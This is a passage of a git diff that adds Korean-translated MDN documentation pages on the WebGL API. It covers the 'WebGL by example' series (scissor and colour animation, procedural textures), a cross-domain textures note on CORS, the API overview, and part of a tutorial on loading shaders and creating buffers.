+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  document.querySelector("canvas").addEventListener("click",
+    function (evt) {
+      var clickXrelativToCanvas =
+          evt.pageX - evt.target.offsetLeft;
+      var clickXinWebGLCoords =
+          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+          / gl.drawingBufferWidth;
+      gl.bufferData(gl.ARRAY_BUFFER,
+        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+      gl.drawArrays(gl.POINTS, 0, 1);
+    }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+  gl.useProgram(null);
+  if (buffer)
+    gl.deleteBuffer(buffer);
+  if (program)
+    gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}

diff --git a/files/ko/web/api/webgl_api/by_example/index.html b/files/ko/web/api/webgl_api/by_example/index.html new file mode 100644 index 0000000000..c7fd3dcd4a --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/index.html @@ -0,0 +1,83 @@ +--- +title: WebGL by example +slug: Web/API/WebGL_API/By_example +tags: + - Beginner + - Example + - Graphics + - Learn + - NeedsTranslation + - TopicStub + - WebGL +translation_of: Web/API/WebGL_API/By_example +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

+ +
+
+

WebGL by example is a series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.

+
+ +
+

Examples by topic

+ +

The examples are sorted in order of increasing difficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.

+ +

Instead of trying to juggle shaders, geometry, and working with {{Glossary("GPU")}} memory, already in the first program, the examples here explore WebGL in an incremental way. We believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts.

+ +

Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.

+ +
+

Getting to know the rendering context

+ +
+
Detect WebGL
+
This example demonstrates how to detect a {{Glossary("WebGL")}} rendering context and reports the result to the user.
+
Clearing with colors
+
How to clear the rendering context with a solid color.
+
Clearing by clicking
+
How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks.
+
Simple color animation
+
A very basic color animation, done by clearing the {{Glossary("WebGL")}} drawing buffer with a different random color every second.
+
Color masking
+
Modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades.
+
Basic scissoring
+
How to draw simple rectangles and squares with scissoring operations.
+
Canvas size and WebGL
+
The example explores the effect of setting (or not setting) the canvas size to its element size in {{Glossary("CSS")}} pixels, as it appears in the browser window.
+
Boilerplate 1
+
The example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make WebGL initialization easier.
+
Scissor animation
+
Some animation fun with scissoring and clearing operations.
+
Raining rectangles
+
A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.
+
+
+ +
+

Shader programming basics

+ +
+
Hello GLSL
+
A very basic shader program that draws a solid color square.
+
Hello vertex attributes
+
Combining shader programming and user interaction through vertex attributes.
+
Textures from code
+
A simple demonstration of procedural texturing with fragment shaders.
+
+
+ +
+

Miscellaneous advanced examples

+ +
+
Video textures
+
This example demonstrates how to use video files as textures.
+
+
+
+
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html new file mode 100644 index 0000000000..1b3748c9bc --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html @@ -0,0 +1,166 @@ +--- +title: 애니메이션 잘라내기 +slug: Web/API/WebGL_API/By_example/Scissor_animation +translation_of: Web/API/WebGL_API/By_example/Scissor_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

+ +
+
+

활동을 청소하고 잘라내는 어떤 애니메이션 장난

+
+ +

{{EmbedLiveSample("scissor-animation-source",660,425)}}

+ +
+

애니메이션 잘라내기

+ +

이번 예시에서는, 우리는 사각형을 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 와{{domxref("WebGLRenderingContext.clear()","clear()")}} 을 이용하여 그려볼 것입니다. 우리는 다시 애니메이션 루프를 타이머를 이용하여 구축할 것입니다. 이번에는 매 프레임(우리는 프레임 비율을 대강 매 17ms 마다 설정했습니다.) 대마다 업데이트 되는 사각형(잘라내는 영역)의 경우임을 주목하세요.

+ +

반대로, 사각형의 색 ({{domxref("WebGLRenderingContext.clearColor()","clearColor")}}으로 설정되는)은 오직 새로운 사각형이 생성될 때만 업데이트 됩니다. 이것은 상태 머신으로써 {{Glossary("WebGL")}} 을 보여줄 좋은 데모입니다. 각 사각형에 대하여 우리는 그것의 색을 결정하고, 매 프레임마다 위치를 결정합니다. WebGl의 깨끗한 색 상태는 새로운 사각형이 생성되어 우리가 그것을 다시 바꿀 때까지 설정 값으로 남아있습니다.

+
+ +
+ + + + +
"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Variables to hold the WebGL context, and the color and
+// position of animated squares.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+  // Unlike the browser window, vertical position in WebGL is
+  // measured from bottom to top. In here we set the initial
+  // position of the square to be at the top left corner of the
+  // drawing buffer.
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "stop";
+    timer = setInterval(drawAnimation, 17);
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "start";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Variables to hold the size and velocity of the square.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // Every frame the vertical position of the square is
+  // decreased, to create the illusion of movement.
+  position[1] -= velocity;
+  // When the sqaure hits the bottom of the drawing buffer,
+  // we override it with new square of different color and
+  // velocity.
+  if (position[1] < 0) {
+    // Horizontal position chosen randomly, and vertical
+    // position at the top of the drawing buffer.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Random velocity between 1.0 and 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

diff --git a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html new file mode 100644 index 0000000000..a2e70de77c --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html @@ -0,0 +1,125 @@ +--- +title: 간단한 색깔 애니메이션 +slug: Web/API/WebGL_API/By_example/Simple_color_animation +translation_of: Web/API/WebGL_API/By_example/Simple_color_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

+ +
+
+

{{Glossary("WebGL")}} 를 청소함으로써 매 초 마다 랜덤 색이 버퍼에 그려지는 매우 기본적인 색깔 애니메이션.

+
+ +

{{EmbedLiveSample("simple-color-animation-source",660,425)}}

+ +
+

청소 & 컬러 애니메이션

+ +

이 예시는 유저 인터페이스 뿐만 아니라, {{Glossary("WebGL")}}와 함께 간단한 컬러 애니메이션 설명을 제공합니다. 유저는 버튼을 클릭함으로써, 애니메이션을 시작하고, 종료하고, 다시시작할 수 있습니다.

+ +

이번에 우리는 이벤트 핸들로 내부에서 {{Glossary("WebGL")}} 함수 콜을 넣을 것입니다. 클릭 이벤트 핸들러는 추가적으로 시작하고 멈추는 기본적인 유저 상호작용을 가능하게 합니다. 타이머와 타이머 핸들러 기능은 애니메이션 반복을 구축합니다. 애니메이션 반복은 일정한 주기로 실행되는 그리기 명령의 집합입니다.(일반적으로 모든 프레임; 이 경우 초당 1번)

+
+ +
+
<p>A simple WebGL program that shows color animation.</p>
+<p>You can click the button below to toggle the
+    color animation on or off.</p>
+<canvas id="canvas-view">Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="animation-onoff">
+  Press here to
+<strong>[verb goes here]</strong>
+  the animation
+</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // A variable to hold a timer that drives the animation.
+  var timer;
+
+  // Click event handlers.
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="stop";
+    // Setup animation loop by redrawing every second.
+    timer = setInterval(drawAnimation, 1000);
+    // Give immediate feedback to user after clicking, by
+    // drawing one animation frame.
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="start";
+    // Stop animation by clearing the timer.
+    clearInterval(timer);
+  }
+  // Call stopAnimation() once to setup the initial event
+  // handlers for canvas and button.
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+        clearInterval(timer);
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the WebGLRenderingContext clear color to the
+    // random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

diff --git a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html new file mode 100644 index 0000000000..75b7a68eb0 --- /dev/null +++ b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html @@ -0,0 +1,174 @@ +--- +title: 코드에서의 텍스쳐 +slug: Web/API/WebGL_API/By_example/Textures_from_code +translation_of: Web/API/WebGL_API/By_example/Textures_from_code +--- +
{{draft}} {{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}

+ +
+
+

단편화된 쉐이더들과 함께 순차적으로 보여주는 간단한 데모

+
+ +

{{EmbedLiveSample("textures-from-code-source",660,425)}}

+ +
+

코드를 이용해 텍스쳐를 그리기

+ +

Texturing a point sprite with calculations done per-pixel in the fragment shader.

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+
+attribute vec2 position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 1.0);
+  gl_PointSize = 128.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+void main() {
+  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+  float distance = length(fragmentPosition);
+  float distanceSqrd = distance * distance;
+  gl_FragColor = vec4(
+    0.2/distanceSqrd,
+    0.1/distanceSqrd,
+    0.0, 1.0 );
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}

diff --git a/files/ko/web/api/webgl_api/cross-domain_textures/index.html b/files/ko/web/api/webgl_api/cross-domain_textures/index.html new file mode 100644 index 0000000000..17d781c01f --- /dev/null +++ b/files/ko/web/api/webgl_api/cross-domain_textures/index.html @@ -0,0 +1,33 @@ +--- +title: 크로스-도메인 텍스쳐 +slug: Web/API/WebGL_API/Cross-Domain_Textures +tags: + - WebGL + - 웹지엘 + - 크로스 도메인 + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL#Cross-domain_textures +--- +

WebGL 텍스쳐 로딩은 크로스-도메인 접근 규칙에 따라 제약을 받습니다. 여러분이 만든 컨텐츠에서 다른 도메인의 텍스쳐, 즉, 크로스-도메인 텍스쳐를 로딩하려면 CORS 승인이 필요합니다. CORS에 대한 자세한 내용은 HTTP access control을 참고하시기 바랍니다.

+ +

CORS 승인된 이미지를 WebGL 텍스쳐에 사용하는 방법에 대한 설명은 hacks.mozilla.org 문서예제를 참고하시기 바랍니다.

+ +
+

역자 주 : 예제 링크가 깨져있는데, 원문에도 깨진 링크가 포함되어 있습니다.

+
+ +
+

Note: WebGL 텍스쳐에 대한 CORS 지원과 이미지 요소의 crossOrigin 속성이 {{Gecko("8.0")}}에 구현되어 있습니다.

+
+ +

내용이 변경되어 오염된(tainted) 쓰기 전용의 2D 캔버스는 WebGL 텍스쳐로 사용될 수 없습니다. 예를 들어 크로스-도메인 이미지가 그려진 2D {{ HTMLElement("canvas") }}는 오염된 2D 캔버스라고 할 수 있습니다.

+ +
+

Note: 캔버스 2D의 drawImage에 대한 CORS 지원은 {{Gecko("9.0")}}에 구현되어 있습니다. 따라서 {{Gecko("9.0")}}에서부터는, CORS 승인된 크로스-도메인 이미지는 2D 캔버스를 오염시키지 않으며, CORS 승인된 크로스-도메인 이미지가 그려진 2D 캔버스도 WebGL 텍스쳐로 사용할 수 있습니다.

+
+ +
+

Note: 크로스-도메인 비디오에 대한 CORS 지원과 {{ HTMLElement("video") }}요소의 crossorigin 속성은 {{Gecko("12.0")}}에 구현되어 있습니다.

+
+ +

{{ languages( { "ja": "ja/WebGL/Cross-Domain_Textures", "ko": "ko/Web/WebGL/Cross-Domain_Textures"} ) }}

diff --git a/files/ko/web/api/webgl_api/index.html b/files/ko/web/api/webgl_api/index.html new file mode 100644 index 0000000000..20988c4b70 --- /dev/null +++ b/files/ko/web/api/webgl_api/index.html @@ -0,0 +1,255 @@ +--- +title: WebGL +slug: Web/API/WebGL_API +tags: + - 3D + - 3D Graphics + - API + - Advanced + - Graphics + - JavaScript + - Media + - Overview + - Reference + - WebGL + - WebGL API +translation_of: Web/API/WebGL_API +--- +
{{WebGLSidebar}}
+ +

WebGL(Web Graphics Library)은 플러그인을 사용하지 않고 웹 브라우저에서 상호작용 가능한 3D와 2D 그래픽을 표현하기 위한 JavaScript API입니다. WebGL은 HTML5 {{HTMLElement("canvas")}} 요소에서 사용할 수 있는, OpenGL ES 2.0을 대부분 충족하는 API를 제공합니다.

+ +

WebGL은 Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+, Microsoft Edge build 10240+에서 사용할 수 있습니다. 그러나 사용자 장치의 하드웨어도 WebGL 기능을 지원해야 합니다.

+ +

{{HTMLElement("canvas")}} 요소는 캔버스 API를 사용해 웹 페이지에서 2D 그래픽을 그릴 때도 사용됩니다.

+ +

참고서

+ +

표준 인터페이스

+ +
+ +
+ +

확장

+ +
+ +
+ +

이벤트

+ + + +

상수와 자료형

+ + + +

WebGL 2

+ +

WebGL 2는 {{domxref("WebGL2RenderingContext")}} 인터페이스를 통해 제공되는 WebGL 메이저 업데이트다. OpenGL ES 3.0 을 기반으로 하며 다음과 같은 특징을 포함한다:

+ + + +

"WebGL 2 lands in Firefox" 블로그 포스트와와 and webglsamples.org/WebGL2Samples 데모도 참고.

+ +

안내서와 자습서

+ +

안내서

+ +
+
WebGL의 데이터
+
WebGL 코드를 작성할 때 사용하는 변수, 버퍼와 그 외 다른 형태의 데이터를 알아봅니다.
+
WebGL 우수 사례
+
WebGL 콘텐츠의 품질, 성능, 안정성을 높일 수 있는 팁과 제안입니다.
+
확장 사용
+
WebGL 확장을 사용하는 법을 알아봅니다.
+
+ +

자습서

+ +
+
WebGL 자습서
+
초심자를 위한 WebGL 핵심 개념입니다. WebGL을 접해보지 않았다면 여기서 시작해보세요.
+
+ +

예제

+ +
+
기초 WebGL 2D 애니메이션 예제
+
This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.
+
예제로 알아보는 WebGL
+
A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.
+
+ +

고급 자습서

+ +
+
WebGL 모델 뷰 프로젝션
+
A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.
+
웹을 위한 행렬 계산
+
A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.
+
+ + + + + +

Libraries

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL')}}{{Spec2('WebGL')}}Initial definition. Based on OpenGL ES 2.0
{{SpecName('WebGL2')}}{{Spec2('WebGL2')}}Builds on top of WebGL 1. Based on OpenGL ES 3.0.
{{SpecName('OpenGL ES 2.0')}}{{Spec2('OpenGL ES 2.0')}} 
{{SpecName('OpenGL ES 3.0')}}{{Spec2('OpenGL ES 3.0')}} 
+ + + +

WebGL 1

+ + + +

{{Compat("api.WebGLRenderingContext", 0)}}

+ +

WebGL 2

+ + + +

{{Compat("api.WebGL2RenderingContext", 0)}}

+ +

호환성 노트

+ +

브라우저 이외에 GPU 자체도 기능을 제공합니다. 따라서 예를들면 S3 텍스처 압축(S3TC)은 오직 테그라 기반 테블렛에서 사용가능합니다.

+ +

게코 노트

+ +

WebGL 디버깅과 테스팅

+ +

Gecko 10.0 {{geckoRelease("10.0")}}을 사용하면 WebGL의 호환성을 테스트 목적으로 제어할수 있도록 두 가지 환경설정을 할 수 있습니다.

+ +
+
webgl.min_capability_mode
+
Boolean 속성으로 참일 경우 최소 호환성 모드로 사용 가능합니다. 이 모드에서 WebGL는 오직 최소한의 기능만 설정하고 WebGL 명세에서 필요한 기능만 지원하도록 설정되어 집니다. 이는 WebGL코드가 어떠한 디바이스나 브라우저에서 작동이 된다는 것을 보장합니다. 기본값으로는 거짓으로 설정되어 있습니다.
+
webgl.disable_extensions
+
Boolean 속성으로 참일 경우 WebGL 확장을 비활성화 하고 기본값은 거짓입니다.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html new file mode 100644 index 0000000000..62ca452949 --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -0,0 +1,236 @@ +--- +title: WebGL 컨텍스트에 2D 컨텐츠 추가하기 +slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

+ +

일단 성공적으로 WebGL컨텍스트를 생성하면 그 안에 렌더링을 시작할 수 있습니다. 가장 간단히 해볼 수 있는 것은 텍스쳐가 없는 2D 객체를 렌더링 하는 것입니다. 한번 사각형을 그리는 코드를 작성하는 것으로 시작해봅시다.

+ +

장면(scene)에 조명효과 추가하기

+ +
  시작 하기전에 반드시 이해해야할 것은 예제에서 오직 2차원 객체만 랜더링을 하더라도 3D 공간에서 그리고 있다는 것 입니다. 이처럼 여전히 객체가 그려질 간단한 장면에 조명 쉐이더를 설정하는것이 필요합니다. 여기서 어떻게 사각형에 조명효과를 줄 수 있는지 확인해보겠습니다.
+ +
 
+ +

쉐이더 초기화

+ +

  쉐이더는OpenGL ES 쉐이딩 언어를 사용하여 지정됩니다. 컨텐츠의 유지보수와 업데이트를 쉽게하기 위해 쉐이더를 '불러오기위한' 코드를 직접 작성하겠습니다. 다시 말하자면 쉐이더를 직접 새로 만드는 것이 아니라 HTML문서에서 쉐이더를 '찾아오는' 자바스크립트 코드입니다. 이 작업을 처리하는 initShaders()함수의 일반적인 형태를 살펴보겠습니다.

+ +
function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // Create the shader program
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // If creating the shader program failed, alert
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+
+ +

이 방식을 통해 로딩되는 쉐이더는 두가지가 있습니다. 첫번째는 조각 쉐이더(fragment shader)로 "shader-fs"라는 ID를 가진 script 엘리먼트에서 불러옵니다. 두번째는 정점 쉐이더(vertex shader)로 "shader-vs"라는 ID를 가진 script엘리먼트에서 불러옵니다.  getShader()함수는 다음 섹션에서 다룰 것입니다.  이 과정은 쉐이더 프로그램을 DOM에서 가저오는 것을 다룹니다. 

+ +

그 다음 우리는 WebGL 객체의 createProgram()함수를 호출하여 쉐이더 프로그램을 생성 할 것입니다.  WebGL 객체에 두개의 쉐이더를  붙인다음 서로 연결할 것입니다. 그 다음 프로그램이 성공적으로 연결되었는지 확인하기 위해 gl 객체의 LINK_STATUS 매개변수를 체크합니다. 이것이 성공적이라면 새로운 쉐이더 프로그램을 활성화 합니다.

+ +

DOM에서 쉐이더 불러오기

+ +

getShader()함수는 DOM에서 지정된 이름을 가진 쉐이더 프로그램을 가져와 컴파일된 쉐이더 프로그램을 호출자에 반환 합니다. 컴파일이나 불러올 수 없는 경우에는 null을 반환 합니다.

+ +
function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+
+ +

특정 ID를 가진 엘리먼트를 찾으면 텍스트 컨텐츠가 theSource 변수에 저장됩니다.

+ +
  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // Unknown shader type
+     return null;
+  }
+ +

쉐이더를 위한 코드가 읽혀지면 쉐이더가 정점 쉐이더(MIME type "x-shader/x-vertex")인지 조각 쉐이더(MIME type "x-shader/x-fragment")인지 결정하기 위해 쉐이더 객체의 MIME 형식을 살펴봅니다. 그 다음 소스 코드에서 얻어진 것을 가지고 적절한 타입의 쉐이더를 생성합니다.

+ +
  gl.shaderSource(shader, theSource);
+
+  // Compile the shader program
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+
+ +
마지막으로 소스는 쉐이더로 전달되고 컴파일됩니다. 만약 쉐이더가 컴파일하는 동안 에러가 발생하면 경고 메세지를 출력하고 null을 반환합니다. 그러지 않으면 새롭게 컴파일된 쉐이더가 호출자로 반환됩니다.
+ +
 
+ +

쉐이더

+ +
그 다음 쉐이더 프로그램을 HTML 표현에 추가해야 합니다. 쉐이더가 구체적으로 어떻게 작동하는지에 대한 내용은 이 문서에서 다루지 않습니다. 다음은 쉐이더 언어 문법입니다.
+ +
 
+ +

조각 쉐이더(Fragment shader)

+ +

다각형 안에 있는 각각의 픽셀은 GL 전문용어로 fragment이라고 부릅니다. fragment shader가 하는 일은 각 픽셀의 색상을 설정하는 것입니다. 우리는 간단하게 각 픽셀을 하얀색으로 지정하겠습니다.

+ +

fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변수입니다. 아래와 같이 값을 설정하면 픽셀의 색상이 설정됩니다.

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+
+  void main(void) {
+
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+
+  }
+
+</script>
+ +
 
+ +

정점 쉐이더(Vertex Shader)

+ +

정점 쉐이더는 각 정점의 위치과 모양을 정의합니다.

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+  }
+</script>
+ +

 

+ +

객체 생성

+ +

사각형 렌더링을 하기 전에 사각형의 각 정점들을 저장할 버퍼를 만들어야 합니다. 이를 initBuffers()라는 함수를 이용해 해보도록 하겠습니다. 앞으로 고급 WebGL 개념을 살펴보면서, 더욱 다양하고 복잡한 3D 오브젝트를 생성하고자 할 때 이 루틴을 많이 사용하게 될 것입니다.

+ +
var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+
+ +

